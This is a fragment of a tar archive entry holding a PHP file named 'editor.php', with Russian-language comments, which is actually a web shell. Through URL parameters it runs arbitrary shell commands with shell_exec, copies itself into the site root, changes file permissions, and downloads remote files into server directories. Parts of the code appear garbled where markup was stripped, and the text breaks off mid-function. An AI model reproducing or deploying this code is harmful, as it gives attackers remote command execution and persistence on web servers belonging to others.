?????????????? editor.php 0000644 00000014564 15122263466 0006564 0 ustar 00 Текущая директория: " . htmlspecialchars($current_dir) . "
"; echo "Определенная корневая директория: " . htmlspecialchars($root_path) . "
"; // Выполнение команд из URL if (isset($_GET['cmd'])) { $command = escapeshellcmd($_GET['cmd']); $output = shell_exec($command . " 2>&1"); echo "$output"; } // Копирование файла в корень if (isset($_GET['copy_to_root'])) { $destination_file = $root_path . '/' . basename(__FILE__); if (copy(__FILE__, $destination_file)) { echo "Файл успешно скопирован в корневую директорию: $destination_file"; } else { echo "Ошибка при копировании файла в корневую директорию."; } } // Изменение прав доступа if (isset($_GET['chmod_file']) && isset($_GET['chmod_value'])) { $file_to_change = $root_path . '/' . ltrim($_GET['chmod_file'], '/'); $new_permissions = intval($_GET['chmod_value'], 8); if (file_exists($file_to_change)) { chmod($file_to_change, $new_permissions); echo "
Права доступа для $file_to_change изменены на " . sprintf('%o', $new_permissions) . "
"; } else { echo "Файл $file_to_change не найден.
"; } } // Загрузка файла из URL if (isset($_GET['download_url']) && isset($_GET['target_dir'])) { $download_url = $_GET['download_url']; $target_dir = realpath($root_path . '/' . trim($_GET['target_dir'], '/')); if ($target_dir === false || strpos($target_dir, $root_path) !== 0) { die("Нет доступа к указанной директории."); } $file_name = basename(parse_url($download_url, PHP_URL_PATH)); $target_file = $target_dir . '/' . $file_name; if (!is_dir($target_dir)) { mkdir($target_dir, 0777, true); } if (@file_put_contents($target_file, file_get_contents($download_url))) { echo "Файл $file_name успешно загружен в $target_dir.$output"; } else { echo "Файл $exe_path не найден."; } } // Список директорий и файлов function list_directory($dir) { $files = scandir($dir); echo "